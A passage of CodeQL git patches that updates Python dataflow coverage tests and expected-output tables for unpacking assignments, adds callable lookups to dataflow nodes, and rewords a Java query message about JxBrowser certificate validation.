test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:608:10:608:14 | ControlFlowNode for Subscript | Flow found | -| test.py:609:12:609:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:609:12:609:16 | ControlFlowNode for Subscript | Flow found | -| test.py:609:12:609:16 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:609:12:609:16 | ControlFlowNode for Subscript | Flow found | -| test.py:611:12:611:15 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:611:12:611:15 | ControlFlowNode for Subscript | Flow found | -| test.py:611:12:611:15 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:611:12:611:15 | ControlFlowNode for Subscript | Flow found | +| test.py:590:12:590:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:590:12:590:16 | ControlFlowNode for Subscript | Flow found | +| test.py:590:12:590:16 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:590:12:590:16 | ControlFlowNode for Subscript | Flow found | +| test.py:591:10:591:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:591:10:591:14 | ControlFlowNode for Subscript | Flow found | +| test.py:591:10:591:14 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:591:10:591:14 | ControlFlowNode for Subscript | Flow found | | test.py:615:10:615:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:615:10:615:11 | ControlFlowNode for a1 | Flow found | | test.py:615:10:615:11 | ControlFlowNode for a1 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:615:10:615:11 | ControlFlowNode for a1 | Flow found | -| test.py:616:12:616:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:616:12:616:13 | ControlFlowNode for a2 | Flow found | -| test.py:616:12:616:13 | ControlFlowNode for a2 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:616:12:616:13 | ControlFlowNode for a2 | Flow found | +| test.py:617:12:617:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:617:12:617:16 | ControlFlowNode for Subscript | Flow found | +| test.py:617:12:617:16 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:617:12:617:16 | ControlFlowNode for Subscript | Flow found | +| test.py:618:10:618:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:618:10:618:14 | ControlFlowNode for Subscript | Flow found | +| test.py:618:10:618:14 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:618:10:618:14 | ControlFlowNode for Subscript | Flow found | | test.py:695:10:695:36 | ControlFlowNode for return_from_inner_scope() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:695:10:695:36 | ControlFlowNode for return_from_inner_scope() | Flow found | | test.py:695:10:695:36 | ControlFlowNode for return_from_inner_scope() | test.py:692:16:692:21 | ControlFlowNode for SOURCE | test.py:695:10:695:36 | ControlFlowNode for return_from_inner_scope() | Flow found | diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index 8308e47d447..7dba37a243b 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -530,23 +530,23 @@ def test_nested_unpacking_assignment(): a, (b, c) = t SINK(a) SINK_F(b) - SINK(c) + SINK(c) # Flow not found @expects(2) def test_deeply_nested_unpacking_assignment(): t = [[[[SOURCE]]], NONSOURCE] [[[a]]], b = t - SINK(a) # Flow not found + SINK(a) SINK_F(b) -@expects(3) +@expects(4) def test_iterated_unpacking_assignment(): t = (SOURCE, SOURCE, NONSOURCE) a, *b, c = t SINK(a) - SINK_F(b) # FP + SINK_F(b) SINK(b[0]) SINK_F(c) @@ -579,34 +579,34 @@ def test_unpacking_assignment_conversion(): SINK_F(b) # The list itself is not tainted SINK_F(c) - +@expects(24) def test_iterated_unpacking_assignment_conversion(): tt = ((SOURCE, NONSOURCE, SOURCE),NONSOURCE) # list [[a1, *a2], *b] = tt SINK(a1) - SINK_F(a2) # FP, The list itself is not tainted - SINK(a2[0]) - SINK_F(a1[0]) # FP here due to list abstraction + SINK_F(a2) # The list itself is not tainted + SINK_F(a2[0]) # FP here due to list abstraction + SINK(a2[1]) # FP here due to list abstraction SINK_F(b) # The list itself is not tainted - SINK_F(b[0]) # FP here due to list abstraction + SINK_F(b[0]) # Expected FP here due to list abstraction # tuple ((a1, *a2), *b) = tt - SINK(a1) + SINK(a1) # Flow not found SINK_F(a2) # The list itself is not tainted - SINK(a2[0]) # Flow not found - SINK_F(a1[0]) + SINK_F(a2[0]) + SINK(a2[1]) # Flow not found SINK_F(b) # The list itself is not tainted SINK_F(b[0]) # mixed [(a1, *a2), *b] = tt - SINK(a1) + SINK(a1) # Flow not found SINK_F(a2) # The list itself is not tainted - SINK(a2[0]) # Flow not found - SINK_F(a1[0]) # FP + SINK_F(a2[0]) + SINK(a2[1]) # Flow not found SINK_F(b) # The list itself is not tainted SINK_F(b[0]) # FP here due to list abstraction @@ -614,8 +614,8 @@ def test_iterated_unpacking_assignment_conversion(): ([a1, *a2], *b) = tt SINK(a1) SINK_F(a2) # The list itself is not tainted - SINK(a2[0]) # Flow not found - SINK_F(a1[0]) # Expect FP here due to list abstraction + SINK_F(a2[0]) + SINK(a2[1]) # FP here due to list abstraction SINK_F(b) # The list itself is not tainted SINK_F(b[0]) From b8076481bf353caf6b3a68348144114ebb1d96d7 Mon Sep 17 00:00:00 2001 From: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com> Date: Wed, 13 Jan 2021 20:32:23 +0100 Subject: [PATCH 0559/1241] Java: Suggestions from Review --- .../Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql b/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql index 0de4290a44e..6aee64ed010 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql @@ -79,4 +79,4 @@ where cfg.isSource(src) and not cfg.hasFlow(src, _) and not isSafeJxBrowserVersion() -select src, "This JxBrowser instance allows man-in-the-middle attacks." +select src, "This JxBrowser instance may not check HTTPS certificates." From e3199fbbe2dd7cd54e3b388b5b1d057d11662740 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Thu, 14 Jan 2021 00:09:18 +0100 Subject: [PATCH 0560/1241] Python: Fix inconsostencies to fix flow (and fix annotations again) --- .../dataflow/new/internal/DataFlowPublic.qll | 8 ++ .../dataflow/coverage/dataflow.expected | 99 +++++++++++++++++++ .../experimental/dataflow/coverage/test.py | 14 +-- 3 files changed, 114 insertions(+), 7 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll index f5830603b14..f7595e231a1 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -339,6 +339,10 @@ class IterableSequence extends Node, TIterableSequence { override string toString() { result = "IterableSequence" } + override DataFlowCallable getEnclosingCallable() { + result = any(CfgNode node | node = TCfgNode(consumer)).getEnclosingCallable() + } + override Location getLocation() { result = consumer.getLocation() } } @@ -353,6 +357,10 @@ class IterableElement extends Node, TIterableElement { override string toString() { result = "IterableElement" } + override DataFlowCallable getEnclosingCallable() { + result = any(CfgNode node | node = TCfgNode(consumer)).getEnclosingCallable() + } + override Location getLocation() { result = consumer.getLocation() } } diff --git a/python/ql/test/experimental/dataflow/coverage/dataflow.expected b/python/ql/test/experimental/dataflow/coverage/dataflow.expected index 1cb6868e359..a68c8830ffb 100644 --- a/python/ql/test/experimental/dataflow/coverage/dataflow.expected +++ b/python/ql/test/experimental/dataflow/coverage/dataflow.expected @@ -63,6 +63,7 @@ edges | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:509:9:509:14 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:521:10:521:15 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:529:10:529:15 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:529:30:529:35 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:538:13:538:18 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:546:10:546:15 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:546:18:546:23 | ControlFlowNode for SOURCE | @@ -194,9 +195,18 @@ edges | test.py:522:5:522:5 | SSA variable a | test.py:523:10:523:10 | ControlFlowNode for a | | test.py:522:5:522:8 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:522:5:522:5 | SSA variable a | | test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:529:30:529:35 | ControlFlowNode for SOURCE | | test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | +| test.py:529:19:529:35 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | +| test.py:529:30:529:35 | ControlFlowNode for SOURCE | test.py:529:19:529:35 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:530:5:530:5 | SSA variable a | test.py:531:10:531:10 | ControlFlowNode for a | | test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:530:5:530:5 | SSA variable a | +| test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | test.py:530:9:530:12 | IterableSequence [Tuple element at index 1] | +| test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | +| test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:530:12:530:12 | SSA variable c | +| test.py:530:9:530:12 | IterableSequence [Tuple element at index 1] | test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:530:12:530:12 | SSA variable c | test.py:533:10:533:10 | ControlFlowNode for c | | test.py:538:9:538:33 | ControlFlowNode for List [List element, List element, List element, List element] | test.py:539:5:539:14 | IterableSequence [List element, List element, List element, List element] | | test.py:538:10:538:21 | ControlFlowNode for List [List element, List element, List element] | test.py:538:9:538:33 | ControlFlowNode for List [List element, List element, List element, List element] | | test.py:538:11:538:20 | ControlFlowNode for List [List element, List element] | test.py:538:10:538:21 | ControlFlowNode for List [List element, List element, List element] | @@ -205,6 +215,7 @@ edges | test.py:539:5:539:11 | ControlFlowNode for List [List element, List element, List element] | test.py:539:5:539:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | | test.py:539:5:539:11 | ControlFlowNode for List [List element, List element, List element] | test.py:539:6:539:10 | IterableSequence [List element, List element] | | test.py:539:5:539:11 | IterableElement [List element, List element] | test.py:539:5:539:11 | ControlFlowNode for List [List element, List element, List element] | +| test.py:539:5:539:11 | IterableSequence [List element, List element, List element] | test.py:539:5:539:11 | ControlFlowNode for List [List element, List element, List element] | | test.py:539:5:539:11 | IterableSequence [List element, List element, List element] | test.py:539:5:539:11 | IterableElement [List element, List element] | | test.py:539:5:539:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | test.py:539:5:539:11 | IterableSequence [List element, List element, List element] | | test.py:539:5:539:14 | IterableElement [List element, List element, List element] | test.py:539:5:539:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | @@ -212,10 +223,12 @@ edges | test.py:539:6:539:10 | ControlFlowNode for List [List element, List element] | test.py:539:5:539:11 | ControlFlowNode for List [List element, List element, List element] | | test.py:539:6:539:10 | ControlFlowNode for List [List element, List element] | test.py:539:7:539:9 | IterableSequence [List element] | | test.py:539:6:539:10 | IterableElement [List element] | test.py:539:6:539:10 | ControlFlowNode for List [List element, List element] | +| test.py:539:6:539:10 | IterableSequence [List element, List element] | test.py:539:6:539:10 | ControlFlowNode for List [List element, List element] | | test.py:539:6:539:10 | IterableSequence [List element, List element] | test.py:539:6:539:10 | IterableElement [List element] | | test.py:539:7:539:9 | ControlFlowNode for List [List element] | test.py:539:6:539:10 | ControlFlowNode for List [List element, List element] | | test.py:539:7:539:9 | ControlFlowNode for List [List element] | test.py:539:8:539:8 | SSA variable a | | test.py:539:7:539:9 | IterableElement | test.py:539:7:539:9 | ControlFlowNode for List [List element] | +| test.py:539:7:539:9 | IterableSequence [List element] | test.py:539:7:539:9 | ControlFlowNode for List [List element] | | test.py:539:7:539:9 | IterableSequence [List element] | test.py:539:7:539:9 | IterableElement | | test.py:539:8:539:8 | SSA variable a | test.py:540:10:540:10 | ControlFlowNode for a | | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | @@ -242,29 +255,51 @@ edges | test.py:556:40:556:47 | ControlFlowNode for List [List element] | test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:556:40:556:47 | ControlFlowNode for List [List element] | | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:559:7:559:16 | IterableSequence [List element] | +| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:559:7:559:16 | IterableSequence [Tuple element at index 0] | +| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | test.py:559:7:559:16 | IterableSequence [Tuple element at index 1] | +| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:559:7:559:16 | IterableSequence [Tuple element at index 2] | | test.py:559:6:559:23 | IterableElement [List element] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | | test.py:559:6:559:23 | IterableSequence [List element, List element] | test.py:559:6:559:23 | IterableElement [List element] | | test.py:559:7:559:8 | SSA variable a1 | test.py:560:10:560:11 | ControlFlowNode for a1 | +| test.py:559:7:559:16 | ControlFlowNode for Tuple [List element] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:559:7:559:8 | SSA variable a1 | +| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:559:11:559:12 | SSA variable a2 | +| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:559:15:559:16 | SSA variable a3 | | test.py:559:7:559:16 | IterableElement | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:559:7:559:16 | IterableElement | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:559:7:559:16 | IterableElement | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:559:7:559:16 | IterableSequence [List element] | test.py:559:7:559:16 | ControlFlowNode for Tuple [List element] | | test.py:559:7:559:16 | IterableSequence [List element] | test.py:559:7:559:16 | IterableElement | +| test.py:559:7:559:16 | IterableSequence [Tuple element at index 0] | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:559:7:559:16 | IterableSequence [Tuple element at index 1] | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:559:7:559:16 | IterableSequence [Tuple element at index 2] | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | | test.py:559:11:559:12 | SSA variable a2 | test.py:561:12:561:13 | ControlFlowNode for a2 | | test.py:559:15:559:16 | SSA variable a3 | test.py:562:10:562:11 | ControlFlowNode for a3 | | test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | test.py:567:7:567:16 | IterableSequence [List element] | +| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:567:7:567:16 | IterableSequence [Tuple element at index 0] | +| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 1] | test.py:567:7:567:16 | IterableSequence [Tuple element at index 1] | +| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 2] | test.py:567:7:567:16 | IterableSequence [Tuple element at index 2] | | test.py:567:5:567:24 | IterableElement [List element] | test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | | test.py:567:5:567:24 | IterableSequence [List element, List element] | test.py:567:5:567:24 | IterableElement [List element] | | test.py:567:7:567:8 | SSA variable a1 | test.py:568:10:568:11 | ControlFlowNode for a1 | +| test.py:567:7:567:16 | ControlFlowNode for Tuple [List element] | test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | +| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 0] | | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:567:7:567:8 | SSA variable a1 | +| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 1] | | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:567:11:567:12 | SSA variable a2 | +| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 2] | | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:567:15:567:16 | SSA variable a3 | | test.py:567:7:567:16 | IterableElement | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:567:7:567:16 | IterableElement | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:567:7:567:16 | IterableElement | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:567:7:567:16 | IterableSequence [List element] | test.py:567:7:567:16 | ControlFlowNode for Tuple [List element] | | test.py:567:7:567:16 | IterableSequence [List element] | test.py:567:7:567:16 | IterableElement | +| test.py:567:7:567:16 | IterableSequence [Tuple element at index 0] | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:567:7:567:16 | IterableSequence [Tuple element at index 1] | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:567:7:567:16 | IterableSequence [Tuple element at index 2] | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | | test.py:567:11:567:12 | SSA variable a2 | test.py:569:12:569:13 | ControlFlowNode for a2 | | test.py:567:15:567:16 | SSA variable a3 | test.py:570:10:570:11 | ControlFlowNode for a3 | | test.py:575:6:575:17 | ControlFlowNode for List [List element] | test.py:575:6:575:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | @@ -272,6 +307,7 @@ edges | test.py:575:6:575:17 | ControlFlowNode for List [List element] | test.py:575:11:575:12 | SSA variable a2 | | test.py:575:6:575:17 | ControlFlowNode for List [List element] | test.py:575:15:575:16 | SSA variable a3 | | test.py:575:6:575:17 | IterableElement | test.py:575:6:575:17 | ControlFlowNode for List [List element] | +| test.py:575:6:575:17 | IterableSequence [List element] | test.py:575:6:575:17 | ControlFlowNode for List [List element] | | test.py:575:6:575:17 | IterableSequence [List element] | test.py:575:6:575:17 | IterableElement | | test.py:575:6:575:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:575:6:575:17 | IterableSequence [List element] | | test.py:575:6:575:23 | IterableElement [List element] | test.py:575:6:575:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | @@ -280,6 +316,8 @@ edges | test.py:575:11:575:12 | SSA variable a2 | test.py:577:12:577:13 | ControlFlowNode for a2 | | test.py:575:15:575:16 | SSA variable a3 | test.py:578:10:578:11 | ControlFlowNode for a3 | | test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:587:5:587:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | +| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:605:5:605:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | | test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | @@ -290,8 +328,11 @@ edges | test.py:587:6:587:14 | ControlFlowNode for List [List element] | test.py:587:5:587:19 | ControlFlowNode for List [List element, List element] | | test.py:587:6:587:14 | ControlFlowNode for List [List element] | test.py:587:7:587:8 | SSA variable a1 | | test.py:587:6:587:14 | ControlFlowNode for List [List element] | test.py:587:11:587:13 | IterableElement | +| test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0] | test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | | test.py:587:6:587:14 | IterableElement | test.py:587:6:587:14 | ControlFlowNode for List [List element] | +| test.py:587:6:587:14 | IterableSequence [List element] | test.py:587:6:587:14 | ControlFlowNode for List [List element] | | test.py:587:6:587:14 | IterableSequence [List element] | test.py:587:6:587:14 | IterableElement | +| test.py:587:6:587:14 | IterableSequence [Tuple element at index 0] | test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0] | | test.py:587:6:587:14 | IterableSequence [Tuple element at index 0] | test.py:587:6:587:14 | IterableElement | | test.py:587:7:587:8 | SSA variable a1 | test.py:588:10:588:11 | ControlFlowNode for a1 | | test.py:587:11:587:13 | IterableElement | test.py:587:11:587:13 | SSA variable a2 [List element] | @@ -299,11 +340,26 @@ edges | test.py:587:11:587:13 | SSA variable a2 [List element] | test.py:591:10:591:11 | ControlFlowNode for a2 [List element] | | test.py:590:12:590:13 | ControlFlowNode for a2 [List element] | test.py:590:12:590:16 | ControlFlowNode for Subscript | | test.py:591:10:591:11 | ControlFlowNode for a2 [List element] | test.py:591:10:591:14 | ControlFlowNode for Subscript | +| test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:596:7:596:13 | IterableSequence [Tuple element at index 0] | +| test.py:596:7:596:8 | SSA variable a1 | test.py:597:10:597:11 | ControlFlowNode for a1 | +| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:596:7:596:8 | SSA variable a1 | +| test.py:596:7:596:13 | IterableSequence [Tuple element at index 0] | test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:605:7:605:13 | IterableSequence [Tuple element at index 0] | +| test.py:605:5:605:19 | IterableElement [Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:605:5:605:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | test.py:605:5:605:19 | IterableElement [Tuple element at index 0] | +| test.py:605:7:605:8 | SSA variable a1 | test.py:606:10:606:11 | ControlFlowNode for a1 | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:605:7:605:8 | SSA variable a1 | +| test.py:605:7:605:13 | IterableSequence [Tuple element at index 0] | test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:614:6:614:14 | ControlFlowNode for List [List element] | test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | | test.py:614:6:614:14 | ControlFlowNode for List [List element] | test.py:614:7:614:8 | SSA variable a1 | | test.py:614:6:614:14 | ControlFlowNode for List [List element] | test.py:614:11:614:13 | IterableElement | +| test.py:614:6:614:14 | ControlFlowNode for List [Tuple element at index 0] | test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | | test.py:614:6:614:14 | IterableElement | test.py:614:6:614:14 | ControlFlowNode for List [List element] | +| test.py:614:6:614:14 | IterableSequence [List element] | test.py:614:6:614:14 | ControlFlowNode for List [List element] | | test.py:614:6:614:14 | IterableSequence [List element] | test.py:614:6:614:14 | IterableElement | +| test.py:614:6:614:14 | IterableSequence [Tuple element at index 0] | test.py:614:6:614:14 | ControlFlowNode for List [Tuple element at index 0] | | test.py:614:6:614:14 | IterableSequence [Tuple element at index 0] | test.py:614:6:614:14 | IterableElement | | test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:614:6:614:14 | IterableSequence [List element] | | test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:614:6:614:14 | IterableSequence [Tuple element at index 0] | @@ -497,9 +553,17 @@ nodes | test.py:523:10:523:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | | test.py:529:10:529:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | +| test.py:529:19:529:35 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:529:30:529:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:530:5:530:5 | SSA variable a | semmle.label | SSA variable a | | test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | +| test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:530:9:530:12 | IterableSequence [Tuple element at index 1] | semmle.label | IterableSequence [Tuple element at index 1] | +| test.py:530:12:530:12 | SSA variable c | semmle.label | SSA variable c | | test.py:531:10:531:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:533:10:533:10 | ControlFlowNode for c | semmle.label | ControlFlowNode for c | | test.py:538:9:538:33 | ControlFlowNode for List [List element, List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element, List element] | | test.py:538:10:538:21 | ControlFlowNode for List [List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element] | | test.py:538:11:538:20 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | @@ -538,28 +602,42 @@ nodes | test.py:556:40:556:47 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | | test.py:556:41:556:46 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:559:6:559:23 | ControlFlowNode for 